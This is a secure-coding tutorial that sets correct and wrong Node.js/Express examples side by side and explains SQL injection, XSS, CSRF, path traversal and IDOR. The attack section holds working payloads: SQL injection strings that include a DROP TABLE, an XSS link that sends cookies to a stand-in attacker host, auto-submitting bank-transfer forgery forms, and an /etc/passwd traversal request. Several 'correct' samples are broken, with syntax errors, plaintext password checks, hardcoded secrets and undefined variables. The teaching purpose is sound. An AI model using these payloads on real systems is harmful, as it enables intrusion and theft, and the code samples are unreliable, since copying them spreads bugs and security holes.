SECURE CODING AND BEST METHODS FOR BUILDING SECURE APPLICATIONS

Introduction to secure coding
Secure coding is the process of writing highly secure source code, minimizing vulnerabilities to prevent attacks from intruders or hackers, focusing on writing code, and developing applications safely.
Insecure code is the main source of many security problems in software. Errors in the code can lead to serious problems such as security vulnerabilities, intrusions, unauthorized access to data, and even harm to systems and users. Secure coding ensures that applications and systems are written correctly and securely from development to deployment.
Why is secure coding important?
Secure coding is an extremely important aspect of software development as it plays an important role in protecting applications and systems from attacks and security vulnerabilities. Here are a few reasons why secure coding is important:
- Data Protection: Secure coding protects the data of users and organizations from unauthorized access, alteration, or theft. If applications are not securely coded, sensitive information can be exposed, leading to serious consequences, including financial loss, organizational reputation damage, and violation of data security regulations.
- Prevent attacks: Secure coding reduces the possibility of attacks from intruders or hackers. By processing and filtering input data, we can prevent common attacks such as SQL injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Command Injection, Cross-Site Script Inclusion (XSSI), Server-Side Request Forgery (SSRF), etc.
- Ensure Availability and Reliability: Applications written in secure coding will work more stably and reliably. Minimizing bugs and security vulnerabilities helps the application avoid unexpected problems, and ensures system availability.
- Damage mitigation: An application that is not written securely can be hacked and cause serious damage to the system and users. The implementation of secure coding helps to reduce the risk and extent of damage in the event of an attack.
- Compliance with security regulations and standards: Secure coding helps meet organizational and industry security standards and requirements. Many sectors, like healthcare and finance, have strict requirements for data security and protection. The adoption of secure coding is necessary to comply with these regulations and avoid penalties for privacy and security violations.
- Building trust and reputation: The safety and security of the application contribute to building trust and a positive reputation for the organization. Users and customers will have more confidence in the application they use if it is secure.
In short, secure coding is a core element in protecting applications and systems from attacks and security vulnerabilities. It ensures the security and reliability of the software, and protects user and organization data, while also meeting security requirements and standards.
Important principles and methods in secure coding
Input Validation
All input data should be checked by both client and server before performing other tasks.
Failed data validation should be rejected immediately and no further processing is performed. Returns an invalid input message to the user.
Navigation handlers that take data such as GET a file should not be processed directly from user input but should be obtained via a constant such as file_id.
Below is the Nodejs code using the Express.js framework.
+ Correct program
const express = require('express');
const fs = require('fs/promises');
const app = express();
const port = 3000;
enum File {
1: 'example.txt',
2: 'example2.txt'
}
// Route to get data from file
app.get('/file', async (req, res) => {
if (isNaN(req.query.fileId)) {
return res.status(400).send('fileId must be a numeric value');
}
try {
const filePath = `./files/${File[req.query.fileId]}`;
// Read the contents of the file
const fileContent = await fs.readFile(filePath, 'utf-8');
res.status(200).send(fileContent);
} catch (error) {
res.status(500).send('An error occurred while reading the file.');
}
});
app.listen(port, () => { console.log(`Server running ${port}`); });
In this example, we use the fileId the user sends up to get the file path we want to access. This helps to ensure that we are not directly pulling the filename from the user data, thereby avoiding security issues such as unwanted access holes.
+ Wrong program
const express = require('express');
const fs = require('fs/promises');
const app = express();
const port = 3000;
// Route to get data from file
app.get('/file', async (req, res) => {
try {
// Uses the filename from user input and reads the file's contents
const fileContent = await fs.readFile(req.body.fileName, 'utf-8');
res.status(200).send(fileContent);
} catch (error) {
res.status(500).send('An error occurred while reading the file.');
}
});
app.listen(port, () => { console.log(`Server running ${port}`); });
In this example, we used the filename from user-supplied data. This will suffer from security issues such as unwanted access vulnerabilities.
Output Encoding
All output data that needs to be encoded can use HTML entity encoding to perform data encoding against Cross-site Scripting (XSS) vulnerabilities.
Cleaning removes data related to operating system commands to avoid errors related to Command injection.
Suppress data on display against data SQL queries that help protect against SQL Injection related vulnerabilities.
Below is the Nodejs code using the Express.js framework.
+ Correct program
const express = require('express');
const escapeHtml = require('escape-html');
const app = express();
const port = 3000;
app.get('/customerProfile', (req, res) => {
const customer = {
name: "test",
note: "<script>alert('XSS attack!');</script>"
};
const encodedCustomerNote = escapeHtml(customer.note);
res.send(`
<h1>Hello, ${customer.name}!</h1>
<p>${encodedCustomerNote}</p> `
);
});
app.listen(port, () => { console.log(`Server running ${port}`); });
In the above code, we used the escape-html library to encode the content of customer.note before putting it into HTML. This ensures that any malicious JavaScript code will be encrypted and displayed as regular, non-executable text.
+ Wrong program
const express = require('express');
const app = express();
const port = 3000;
app.get('/customerProfile', (req, res) => {
const customer = {
name: "test",
note: "<script>alert('XSS attack!');</script>"
};
res.send(`
<h1>Hello, ${customer.name}!</h1>
<p>${customer.note}</p> `
);
});
app.listen(port, () => { console.log(`Server running ${port}`); });
In the above code, we are returning the customer’s personal information. However, the customer.note variable contains a malicious piece of JavaScript code that will be executed when the browser displays it, causing an XSS attack.
Authentication and Password Management
Authentication is required for critical resources that are not publicly accessible. Public resources such as CSS, js, etc. do not need to be authenticated.
Can use the provided authentication mechanisms such as Oauth2 or Google authentication, Facebook authentication, etc.
Need to encrypt the password can use the provided reputable library.
When logging in, if the user enters the wrong username or password instead of specifically saying “the user has the wrong username” or “the user has entered the wrong password” just notify that “the user entered the wrong login information” to avoid collecting information from hackers.
An authentication mechanism should be implemented before external systems connect to our system to get data (via API, web service, etc.).
Use HTPP POST for authentication requests and the password shows up as *** unreadable.
It is recommended to use strong passwords for accounts such as having at least one uppercase letter, one lowercase letter, one number, one special character, and at least 8 characters in length.
The password reset link should have a short expiration time.
Need to set up a 2FA authentication mechanism for important tasks.
Set password change frequency and password re-use mechanism.
Request a temporary password change on the first login and set up a mechanism to lock the account after a number of incorrect credentials.
Below is the Nodejs code using the Express.js framework.
+ Correct program
const express = require('express');
const bcrypt = require('bcrypt');
const app = express();
const port = 3000;
// Assume this is a database that stores user information
const users = [];
app.use(express.json());
// User registration
app.post('/register', async (req, res) => {
const { username, password } = req.body;
// Check if the user already exists
if (users.find(user => user.username === username)) {
return res.status(400).json({ error: 'User already exists.' });
}
// Encrypt password before saving to database
const hashedPassword = await bcrypt.hash(password, 10);
// Save user information to the database
users.push({ username, password: hashedPassword });
return res.status(201).json({ message: 'Sign Up Success.' });
});
// Login
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// Find users in the database
const user = users.find(user => user.username === username);
if (!user) {
return res.status(401).json({ error: 'User entered incorrect login information.' });
}
// Compare encrypted passwords
const isPasswordValid = await bcrypt.compare(password, user.password);
if (!isPasswordValid) {
return res.status(401).json({ error: 'User entered incorrect login information.' });
}
return res.status(200).json({ message: 'Logged in successfully.' });
});
app.listen(port, () => { console.log(`Server running ${port}`); });
In the above code:
When a user registers, the password is encrypted before being saved to the database ensuring that the password is not saved as plain text in the database, increasing the security of the application.
When the user logs in, we check the entered password by comparing it with the encrypted password in the database and if the user enters the wrong username or password, we will output the general message ‘User entered incorrect login information.’ to avoid collecting information from hackers.
+ Wrong program
const express = require('express');
const bcrypt = require('bcrypt');
const app = express();
const port = 3000;
// Assume this is a database that stores user information
const users = [];
app.use(express.json());
// User registration
app.post('/register', async (req, res) => {
const { username, password } = req.body;
// Check if the user already exists
if (users.find(user => user.username === username)) {
return res.status(400).json({ error: 'User already exists.' });
}
// Save user information without password encryption into the database
users.push({ username, password});
return res.status(201).json({ message: 'Sign Up Success.' });
});
// Login
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// Find users in the database
const user = users.find(user => user.username === username);
if (!user) {
return res.status(401).json({ error: 'User entered incorrect username information.' });
}
// Compare passwords
if (password !== user.password) {
return res.status(401).json({ error: 'User entered incorrect password information' });
}
return res.status(200).json({ message: 'Logged in successfully.' });
});
app.listen(port, () => { console.log(`Server running ${port}`); });
In the above code:
When a user registers, the password is not encrypted before being saved to the database and violates the security of the application.
When a user logs in and enters an incorrect username or password information, the security problem is a specific error such as: “User entered incorrect username information.” or “User entered incorrect password information”.
Session Management
Generation of sessions using identifiers must ensure randomness and avoid session sniffing or guessing attacks.
When logging out, the session should be terminated immediately.
The logout function must be available on all authenticated sites so that users can log out whenever they have successfully authenticated.
Do not allow the session to exist simultaneously with the same user to ensure the restriction of unauthorized access.
When re-authenticating still need to make sure to create a session with a new identifier to ensure it does not match the old session.
Should set the lifetime for a session.
Below is the Nodejs code using the Express.js framework.
+ Correct program
const express = require('express');
const session = require('express-session');
const app = express();
const port = 3000;
// Use session middleware
app.use(session({
secret: 'secretKey',
resave: true,
saveUninitialized: true,
cookie: { maxAge: 86400000) }
}));
app.use(express.json());
// Assume this is a database that stores user information
const users = [ { username: 'test', password: 'password_hash' } ];
// Check if user is logged in
function isAuthenticated(req, res, next) {
if (req.session && req.session.username) {
return next();
}
return res.status(401).json({ error: 'You need to log in to continue.' });
}
// Login
app.post('/login', (req, res) => {
const { username, password } = req.body;
const user = users.find(user => user.username === username);
if (!user || user.password !== password) {
return res.status(401).json({ error: 'Incorrect username or password.' });
}
req.session.username = username;
return res.status(200).json({ message: 'Logged in successfully.' });
});
// Show user information after login
app.get('/profile', isAuthenticated, (req, res) => {
const username = req.session.username;
return res.status(200).json({message: `Personal information: ${username}`});
});
// Logout
app.post('/logout', isAuthenticated, (req, res) => {
req.session.destroy();
return res.status(200).json({ message: 'Sign out successful.' });
});
app.listen(port, () => { console.log(`Server running ${port}`); });
In the above example, when the user logs in successfully, we save the username information into the session and set the lifetime to 1 day. The /profile and /logout routes require a logged-in user for access, and we check session information to verify the login status. When the user logs out, we will end this session and will recreate a new session when the user logs back in.
+ Wrong program
const express = require('express');
const session = require('express-session');
const app = express();
const port = 3000;
// Use session middleware
app.use(session({
secret: 'secretKey',
resave: false,
saveUninitialized: false,
cookie: { maxAge: 86400000) }
}));
app.use(express.json());
// Assume this is a database that stores user information
const users = [ { username: 'test', password: 'password_hash' } ];
// Check if user is logged in
function isAuthenticated(req, res, next) {
if (req.session && req.session.username) {
return next();
}
return res.status(401).json({ error: 'You need to log in to continue.' });
}
// Login
app.post('/login', (req, res) => {
const { username, password } = req.body;
const user = users.find(user => user.username === username);
if (!user || user.password !== password) {
return res.status(401).json({ error: 'Incorrect username or password.' });
}
req.session.username = username;
return res.status(200).json({ message: 'Logged in successfully.' });
});
// Show user information after login
app.get('/profile', isAuthenticated, (req, res) => {
const username = req.session.username;
return res.status(200).json({message: `Personal information: ${username}`});
});
// Logout
app.post('/logout', isAuthenticated, (req, res) => {
return res.status(200).json({ message: 'Sign out successful.' });
});
app.listen(port, () => { console.log(`Server running ${port}`); });
In the above example, when the user logs in successfully, we save the username information into the session and do not set the session end time. When the user logs out, the session is not destroyed and this session always exists.
Access Control
Perform access testing with all sent requests including requests sent by HTTP request, Ajax to ensure that the authorization is always done correctly with the corresponding authorized account. Avoid access to unauthorized resources.
Need to implement centralized decentralization, easy to manage and not affected by the logic of the code that performs the function of the web.
It is necessary to limit access to important resources to authorized users.
The application should have clear documentation of the access policy.
When there is a change in permissions or a change in the business logic related to access rights, disable the account and terminate the session. Only when the user logs back in will the account continue to use.
Implement a mechanism to temporarily lock accounts after a period of inactivity.
If user data needs to be stored on the client side, it needs to be encrypted and checked for integrity on the server.
Properly implement the principle of delegating power to the right people, with the right rights. Only authorized users have access to certain resources on the system.
Below is the Nodejs code using the Express.js framework.
+ Correct program
const express = require('express');
const app = express();
const port = 3000;
// Assume this is a database that stores user information
const users = [
{ username: 'user1', role: 'admin' },
{ username: 'user2', role: 'user' }
];
// Middleware checks the user's role
function checkRole(role) {
return (req, res, next) => {
const user = users.find(user => user.username === req.session.username);
if (user && user.role === role) {
return next();
}
return res.status(403).json({ error: 'You do not have access.' });
};
}
app.use(express.json());
app.get('/profile', (req, res) => {
const username = req.session.username;
return res.status(200).json({message: `Personal information: ${username}`});
});
app.get('/admin', checkRole('admin'), (req, res) => {
return res.status(200).json({ message: 'Admin page.' });
});
app.listen(port, () => { console.log(`Server running ${port}`); });
In the above example, we used a checkRole middleware to check the user’s role. Route /profile allows access to all users. The /admin route requires the “admin” role and only allows users with the “admin” role to access the admin page. If they don’t have permission they will receive a 403 (Forbidden) status code.
+ Wrong program
const express = require('express');
const app = express();
const port = 3000;
// Assume this is a database that stores user information
const users = [
{ username: 'user1', role: 'admin' },
{ username: 'user2', role: 'user' }
];
app.use(express.json());
app.get('/profile', (req, res) => {
const username = req.session.username;
return res.status(200).json({message: `Personal information: ${username}`});
});
app.get('/admin', (req, res) => {
return res.status(200).json({ message: 'Admin page.' });
});
app.listen(port, () => { console.log(`Server running ${port}`); });
In the above example, the /profile and /admin routes both allow access to all users and have no permissions. This will be very dangerous because the admin page will be accessed illegally by users with role=”user”.
Error Handling and Logging
Need to report common errors and proceed to define error pages to return when the site encounters an error. Avoid using the framework’s default error pages because these often contain a lot of information related to the application and version.
The log should record all important events as follows:
- Log all input validation errors
- Log all system exceptions
- Record all access control errors
- Record all authentication attempts, especially failed attempts
- Log the entire event of multiple login attempts or session expiration
- Log all administrative functions
Do not store sensitive information in the log, including unnecessary system details, software version information or user passwords.
Restrict log access to authorized users only.
Make sure the log contains important event data such as event time, severity for each event, tags for each event, account information that performed the event, source ip, dest ip, and event description, etc.
Error handling information should record both success and failure events to help trace when problems occur.
Do not reveal sensitive information in error responses from the website, including system details, application versions or account information.
Below is the Nodejs code using the Express.js framework.
+ Correct program
const express = require('express');
const winston = require('winston');
const app = express();
const port = 3000;
// Set up logger
const logger = winston.createLogger({
level: 'info',
format: winston.format.simple(),
transports: [
new winston.transports.Console(),
new winston.transports.File({ filename: 'error.log', level: 'error' })
]
});
// Middleware for error handling
app.use((err, req, res, next) => {
logger.error(err.stack);
res.status(500).json({ error: 'An error occurred.' });
});
// Route has caused an error
app.get('/error', (req, res, next) => {
const error = new Error('message error');
next(error);
});
app.listen(port, () => { console.log(`Server running ${port}`); });
In the above example, we used the winston library to create the logger and set up the logger to log error information and store it in the “error.log” file. The route /error is used to illustrate the occurrence of an error. In this route, we generate an arbitrary error and call the next() function to pass the error to the error handling middleware. Using a logger makes it easier for us to manage our application.
+ Wrong program
const express = require('express');
const app = express();
const port = 3000;
// Middleware for error handling
app.use((err, req, res, next) => {
res.status(500).json({ error: 'An error occurred.' });
});
// Route has caused an error
app.get('/error', (req, res, next) => {
const error = new Error('message error');
next(error);
});
app.listen(port, () => { console.log(`Server running ${port}`); });
In the above example, do not use the winston library to create loggers and to log errors when they occur. When the program has a certain error problem, it is very difficult to investigate and fix.
Data Protection
Turn off autocomplete username and password features in the browser.
Do not send sensitive information in HTTP GET request parameters such as username, password, token, session_id, etc.
Remove all unnecessary comments in the source code as comments may contain user or database access information or may reveal other sensitive system information.
Decentralize accounts according to the correct function to help limit unauthorized access or mistakenly cause data loss.
Protect the server-side source code from being downloaded by users by decentralizing the source code directory, not revealing the source code and the source code storage path.
Implement appropriate access controls for sensitive data stored on the server.
Disable client-side caching on pages that contain usable sensitive information: Cache-Control: no-store in the HTTP header.
Below is the Nodejs code using the Express.js framework.
+ Correct program
const express = require('express');
const app = express();
const port = 3000;
// Search user
app.get('/user?name=test&email=test@gmail.com', async (req, res) => {
const result = await userService.userSearch(req.query);
return res.status(200).json(result);
});
app.listen(port, () => { console.log(`Server running ${port}`); });
In the above example, the /user route will search for the user by name and email and return the corresponding results. This name and email information are not sensitive information so you can search normally.
+ Wrong program
const express = require('express');
const app = express();
const port = 3000;
// Search user
app.get('/user?password=test123&email=test@gmail.com', async (req, res) => {
const result = await userService.userSearch(req.query);
return res.status(200).json(result);
});
app.listen(port, () => { console.log(`Server running ${port}`); });
In the above example, the /user route will search for users by password and email and return the corresponding results. Because passwords are sensitive information, this case violates security.
Communication Security
Make sure the HTTP referer does not contain sensitive information such as session_id, token, etc. Make sure these parameters are filtered from the HTTP referer before accessing another website.
When external systems make connections and access information to our systems, we need to ensure that there is a TLS connection.
Implement encryption to transmit all sensitive information using TLS for transmission encryption to help protect the connection
It is necessary for the website to always use a TLS connection for all content that requires authenticated access and for all access operations.
The UTF-8 encoded character set can be used for encoding connections.
Below is the Nodejs code using the Express.js framework.
+ Correct program
const https = require('https');
const fs = require('fs');
const express = require('express');
const port = 443;
const app = express();
app.get('/secure', (req, res) => {
console.log('Data is transmitted securely.');
res.redirect('https://example.com');
});
// Create server HTTPS
https.createServer({
key: fs.readFileSync('/path/to/private-key.pem'),
cert: fs.readFileSync('/path/to/certificate.pem')
}, app).listen(port);
In the above example, we used the https module to create a server using the HTTPS protocol. When a user accesses the /secure route, data is securely transmitted over HTTPS and redirected to a https://example.com domain, ensuring that information cannot be stolen or modified during the transmission and that HTTP referers do not contain sensitive information.
+ Wrong program
const https = require('https');
const fs = require('fs');
const express = require('express');
const port = 443;
const app = express();
app.get('/secure?session_id=xxx', (req, res) => {
res.redirect('https://example.com');
});
// Create server HTTPS
https.createServer({
key: fs.readFileSync('/path/to/private-key.pem'),
cert: fs.readFileSync('/path/to/certificate.pem')
}, app).listen(port);
In the above example, when a user accesses the /secure route, it will redirect to a domain https://example.com. This time the HTTP referer contains sensitive information called session_id and can be accessed from the domain https://example.com.
System Configuration
It is necessary to have a source code management system, version history, change history, and change log of all components in the system to manage easily and limit security risks.
The dev, test, and production environments need to be set up to isolate and not share resources and databases. Helps to control data well as well as avoid the risk of attacking the test system and then attacking the production system.
Removing unnecessary information from the HTTP response related to the operating system, web server version, debug information or source code helps prevent attackers from collecting and serves as the basis for deeper attacks on the website.
Remove test or debug code from the source code or any non-production functionality before deploying.
It is necessary to turn off the Directory listing function on the webserver to help limit the disclosure of sensitive files, files containing important information.
Make sure the server, OS, framework, and system components are using a secure version with no vulnerabilities, preferably the latest version.
Ensure the server, OS, framework, and system components are always updated with security patches from the developer to prevent hackers from exploiting publicly available security exploits.
Below is the Nodejs code using the Express.js framework.
+ Correct program
const express = require('express');
const app = express();
const port = 3000;
// Read environment variables for database configuration
const dbConfig = {
host: process.env.DB_HOST,
username: process.env.DB_USERNAME,
password: process.env.DB_PASSWORD,
database: process.env.DB_DATABASE'
};
// Make a database connection
function connectToDatabase(config) {
// Write the code to connect to the database here
}
connectToDatabase(dbConfig);
app.listen(port, () => { console.log(`Server running ${port}`); });
In the above example, we used environment variables to store database configuration information such as DB_HOST, DB_USERNAME, DB_PASSWORD, and DB_DATABASE. By using environment variables, we can easily adjust the system’s configuration without modifying the source code and help reduce the risk of revealing important information such as passwords in the source code, creating favorable conditions for more secure deployment and configuration management.
+ Wrong program
const express = require('express');
const app = express();
const port = 3000;
const dbConfig = {
host: 'host',
username: 'username',
password: 'password',
database: 'database'
};
// Make a database connection
function connectToDatabase(config) {
// Write the code to connect to the database here
}
connectToDatabase(dbConfig);
app.listen(port, () => { console.log(`Server running ${port}`); });
In the above example, we do not use environment variables to store database configuration information but write the value directly in the code. If written this way, when adjusting the system configuration, the source code will be modified and there is a risk of revealing important information such as passwords in the source code, making it difficult to manage configuration and deploy safely.
Database Security
Each account connected to the database needs to be clearly and separately authorized according to its functions, tasks, and permissions.
Default accounts, unused accounts for system requirements need to be removed from the system.
Close the database if it is no longer accessible.
Database connection strings need to be stored in separate config files and should be securely encrypted using strong encryption algorithms.
The account/password to access the database should be strong enough, not using default or easily guessed credentials.
The database needs to run with the user with the lowest privileges, is clearly decentralized, and can only access certain databases to help prevent attacks and data exploitation of other databases.
Need to validate the input data before executing the query.
Using parameters for SQL query statements keeps the query and data separate. Instead of string concatenation in the SQL query, parameters are passed through variables. This helps prevent SQL Injection errors when users pass in malicious data.
Below is the Nodejs code using the Express.js framework.
+ Correct program
const express = require('express');
const mysql = require('mysql');
const app = express();
const port = 3000;
// Connect to the database
const db = mysql.createConnection({
host: 'localhost',
user: 'username',
password: 'password',
database: 'mydb'
});
db.connect(err => {
if (err) {
console.error('Database connection error:', err); return;
}
console.log('Connected to the database.');
});
app.use(express.json());
// Create a new book
app.post('/book', (req, res) => {
const { title, author } = req.body;
const query = 'INSERT INTO books (title, author) VALUES (?, ?)';
db.query(query, [title, author], (err, result) => {
if (err) {
return res.status(500).json({ error: 'An error occurred.' });
}
return res.status(201).json({ message: 'Created successfully.' });
});
});
// Get the list
app.get('/book', (req, res) => {
const query = 'SELECT * FROM books where title = ?';
db.query(query, [title],(err, result) => {
if (err) {
return res.status(500).json({ error: 'An error occurred.' });
}
return res.status(200).json(result);
});
});
app.listen(port, () => { console.log(`Server running ${port}`); });
In the above example, we use the mysql library to connect and manipulate the MySQL database. To ensure security in SQL queries, we use parameters for SQL query statements. This helps prevent SQL injection attacks by preventing users from passing malicious data into SQL queries.
+ Wrong program
const express = require('express');
const mysql = require('mysql');
const app = express();
const port = 3000;
// Connect to the database
const db = mysql.createConnection({
host: 'localhost',
user: 'username',
password: 'password',
database: 'mydb'
});
db.connect(err => {
if (err) {
console.error('Database connection error:', err); return;
}
console.log('Connected to the database.');
});
app.use(express.json());
// Create a new book
app.post('/book', (req, res) => {
const { title, author } = req.body;
const query = 'INSERT INTO books (title, author) VALUES (title, author)';
db.query(query, (err, result) => {
if (err) {
return res.status(500).json({ error: 'An error occurred.' });
}
return res.status(201).json({ message: 'Created successfully.' });
});
});
// Get the list
app.get('/book', (req, res) => {
const query = 'SELECT * FROM books where title =' + title;
db.query(query, (err, result) => {
if (err) {
return res.status(500).json({ error: 'An error occurred.' });
}
return res.status(200).json(result);
});
});
app.listen(port, () => { console.log(`Server running ${port}`); });
In the above example, instead of using the parameter passed to the SQL query, we are concatenating the string in the SQL query. This will suffer from SQL injection attacks.
File Management
It is recommended to make file directory permissions: read-only to avoid unauthorized modifications from attackers
Do not return the absolute path (Example: /var/www/html/uploads/test.jpg) because the attacker can know the absolute path of the website from which to attack other vulnerabilities. Returns only the file name or directory path containing the file (/uploads/test.jpg)
Do not store files with the server running the web service. Do file storage on a separate server or use a 3rd party file storage service like Amazon S3.
Limit the types of files (header files) that are allowed to be uploaded to the server. For the upload function, it is necessary to whitelist the uploaded file headers that match the functional requirements (For example the avatar upload function only allows Content-types: image/jpeg and image/png).
Authentication is required before the user can perform the upload. User authentication helps to limit the unauthorized upload of malicious files as well as serves the process of tracking users when an attack occurs.
Limit the file types (extension files) allowed to upload to the server. For the upload function, it is necessary to whitelist the uploaded files that match the functional requirements (For example the avatar upload function only allows: png and jpg).
Use a virus scanner to check user-uploaded files. This helps to remove malicious files and viruses that users upload.
Below is the Nodejs code using the Express.js framework.
+ Correct program
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();
const port = 3000;
app.use(express.json());
app.use(express.static('public'));
// Download file
app.get('/download/:filename', (req, res) => {
const requestedFile = req.params.filename;
if (!/^[a-zA-Z0-9._-]+$/.test(requestedFile )) {
return res.status(400).send('filename is not valid');
}
const filePath = path.join(__dirname, 'uploads', requestedFile);
if (!fs.existsSync(filePath)) {
return res.status(404).json({ error: 'File does not exist.' });
}
const fileStream = fs.createReadStream(filePath);
res.setHeader('Content-Disposition', `attachment; filename=${requestedFile}`);
fileStream.pipe(res);
});
app.listen(port, () => { console.log(`Server running ${port}`); });
In the above example, when downloading the file, we use the res.setHeader() method to set the “Content-Disposition” header in the HTTP response. This specifies that the file will be downloaded as an attachment with the specified filename. When using such an attachment, the user will receive the file without knowing its absolute path on the server. This helps protect information about system architecture and prevents attacks based on knowing the absolute file path.
+ Wrong program
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();
const port = 3000;
app.use(express.static('public'));
// Download file
app.get('/download/:filename', (req, res) => {
const requestedFile = req.params.filename;
const filePath = path.join(__dirname, 'uploads', requestedFile);
if (!fs.existsSync(filePath)) {
return res.status(404).json({ error: 'File does not exist.' });
}
res.download(filePath, requestedFile, err => {
if (err) {
console.error('Error downloading file:', err);
return res.status(500).json({ error: 'An error occurred.' });
}
});
});
app.listen(port, () => { console.log(`Server running ${port}`); });
In the above example will return the absolute path of the file.
Common attack errors and prevention methods
SQL Injection
SQL Injection is a technique that takes advantage of the query vulnerabilities of applications. It is executed by injecting a SQL snippet to falsify the original query, thereby exploiting data from the database, creating errors, or damaging the system’s data.
For example, we have a function like this:
const getUserByUserName = (userName: string) => { const query = 'SELECT * FROM Users WHERE userName = ’ + userName; return query.excute(); }
When the user transmission userName = ‘abc’ or ‘1’=’1′, the SQL statement will look like this:
SELECT * FROM Users WHERE userName = 'abc' or '1'='1';
With this SQL statement is always true and returns all information in the Users table.
In another case, the user transmission userName = ‘abc’; DROP TABLE Users; the SQL statement would look like this:
SELECT* FROM Users WHERE userName = 'abc'; DROP TABLE Users;
With this command, the Users table will be deleted, and very dangerous.
Prevention
- Check user input: Regular Expression can be used to remove strange characters or characters other than numbers and letters.
- Do not concatenate strings to generate SQL: Use parameters instead of string concatenation. If the input data is not legal, SQL Engine will automatically report an error, we do not need to use code to check.
- Limit writing pure SQL, should use the ORM (Object-Relational Mapping) framework library, this framework will generate SQL statements by itself, so it will be safer.
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) is a common form of malicious code attack. Hackers will take advantage of vulnerabilities in web security to insert scripts to execute them on the client side. Typically, XSS attacks are used to bypass access and impersonate users. The main purpose of this attack is to steal user’s identifying data such as cookies, session tokens, and other information.
There are 3 main types of XSS attacks as follows:
- Reflected XSS
- Is an attack that uses malicious script code from an HTTP request. As a result, hackers steal users’ data and take over their access and activities on the website by sharing URLs containing malicious code.
- For example
- When accessing the website, the user does not know or accidentally clicks on an image or ad with the following malicious link:
http://user.com/name=var+i=new+Image;+i.src=”http://abc-hacker.com/”%2Bdocument.cookie;
- At this point, the hacker just needs to check the request sent to his server to receive the user’s cookie and use it to hijack the user’s login session.
- The feature of this type of XSS is that the hacker must send a malicious link to the user and trick the user into accessing this link. The malicious code will be executed as soon as the user accesses the link.
- When accessing the website, the user does not know or accidentally clicks on an image or ad with the following malicious link:
- Stored XSS
- A form of attack where hackers insert malicious code into the database through input data such as input, textarea, form, etc., without being carefully checked. When users access and perform operations related to saved data, malicious code will immediately work on the browser.
- DOM-based XSS
- Where the vulnerability exists in the client-side code, not the server-side code. This form is used to exploit XSS based on changing the HTML of the document, in other words changing the DOM structure.
Prevention
- Data validation (define input): Make sure the input data provided by the user is correct.
- Filtering (filtering user input): This method helps to find dangerous keywords in the user input to promptly replace or remove them.
- Escape: This is a relatively effective XSS prevention by changing the characters with special code that can use the appropriate Escape library.
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) is an attack that forces users to perform unexpected actions on a web application for which they are currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker can trick web application users into performing actions chosen by the attacker.
For example, user1 has logged into the bank and wants to transfer money to user2 which is 1000$, user3 is the attacker who wants user1 to transfer money to him, it will be as follows:
If the application is designed to use a GET request to pass parameters and perform transfer actions, a request like:
http://bank.com/transfer?account=user2&amount=1000
Now user3 decides to exploit this web application vulnerability by using user1 as the victim. First, user3 constructs the following mining URL that will transfer $200,000 from user1’s account to his own. user3 takes the original command URL and replaces the payee name with his own, and significantly increases the amount of the transfer as follows:
http://bank.com/transfer?account=user3&amount=200000
User3 then sends an unsolicited email with HTML content or places a URL on pages that the victim can access while they are also doing online banking. The exploit URL can be disguised as a regular link, encouraging the victim to click on it:
<a href="http://bank.com/transfer.do?acct=user3&amount=200000">Click to see the photo</a> Or like the picture: <img src="http://bank.com/transfer?account=user3&amount=200000" width="0" height="0" border="0">
If this image tag is included in the email, the user1 will not see anything. However, the browser will still send a request to bank.com without any visual indication that the transfer has taken place.
Another case
Let’s say the bank is currently using POST and the vulnerable request looks like this:
POST http://bank.com/transfer account=user2&amount=1000
Such a request cannot be submitted using the standard <a> or <img> tags, but can be submitted using the <form> tag as follows:
<form action="http://bank.com/transfer" method="POST"> <input type="hidden" name="account" value="user3"/> <input type="hidden" name="amount" value="200000"/> <input type="submit" value="submit"/> </form>
This form will require the user to click a submit button, but this can also be done automatically using JavaScript:
<body onload="document.forms[0].submit()"> <form action="http://bank.com/transfer" method="POST"> <input type="hidden" name="account" value="user3"/> <input type="hidden" name="amount" value="200000"/> <input type="submit" value="submit"/> </form> </body>
Prevention
- User behaviors
- Should log out of important websites such as bank accounts, online payments, social networks, Gmail, etc. when the transaction is done.
- Do not click on unknown links that you receive via email, Facebook, etc., or open strange emails.
- Do not save password information in your browser (do not choose the methods “login next time”, “save password”).
- In the process of making transactions or visiting important websites, do not visit other websites, which may contain exploit codes of attackers.
- Server-side
- Use GET and POST properly. Use GET if the operation is a data query. Use POST if the operation makes a system change. If your application is RESTful, you can use additional HTTP verbs, like PATCH, PUT or DELETE.
- Captcha is used to identify the object that is working with the system is human or not. Important operations such as “login”, “transfer”, “payment” are often used captcha.
- Use separate cookies for the admin page
- IP check: Some important systems only allow access from pre-established IPs
Path Traversal
Path traversal is a web vulnerability that allows an attacker to access files and folders stored outside the web root directory, reading unwanted files on the server. It leads to the exposure of sensitive application information such as login information, some operating system files, or folders. In some cases it is also possible to write to files on the server, allowing an attacker to change data or even take control of the server.
For example
An application that loads images looks like this:
<img src="/loadImage?filename=image-logo.png">
When we send a request with a param filename=image-logo.png it will return the content of the specified file with the image file at /var/www/images/image-logo.png
Since the application does not protect against the path traversal attack, the attacker can make an arbitrary request to be able to read the files in the system.
For example
https://hostname/loadImage?filename=../../../etc/passwd
The application will then read the file with the path /var/www/images/../../../etc/passwd with each ../ returning to the parent directory of the current directory. So with ../../../, the directory /var/www/images/ has returned to the original directory and file /etc/passwd is the file that is read.
On Linux operating systems, /etc/passwd/ is a file containing information about users.
After reading the file /etc/passwd/ it will look like this
In addition to this file /etc/passwd/, an attacker can make an arbitrary request to be able to read other files and directories in the system.
Prevention
- User input should be validated before processing.
- Do not store sensitive configuration files inside the web root directory.
- Use a whitelist for allowed values or file names that are numeric characters, letters should not contain special characters.
- About the file can use Amazon S3 to store and retrieve it.
Insecure Direct Object References (IDOR)
Insecure Direct Object References (IDOR) is a vulnerability that occurs when a program allows users to illegally access resources (data, files, directories, databases) through user-supplied data.
For example
In the “Manage Orders” section, the URL of an order will look like this: http://shop.com/user/order/1. The server will read ID = 1 from the URL, then find the order with ID = 1 in the database and pour data into HTML. Then change ID = 1 to another number, now the system reads and displays all orders (including orders of other customers).
The vulnerability here is: the program allows illegal access to resources (other people’s orders) through the data (ID) provided via the URL. The program should have checked if the user has permission to access this data.
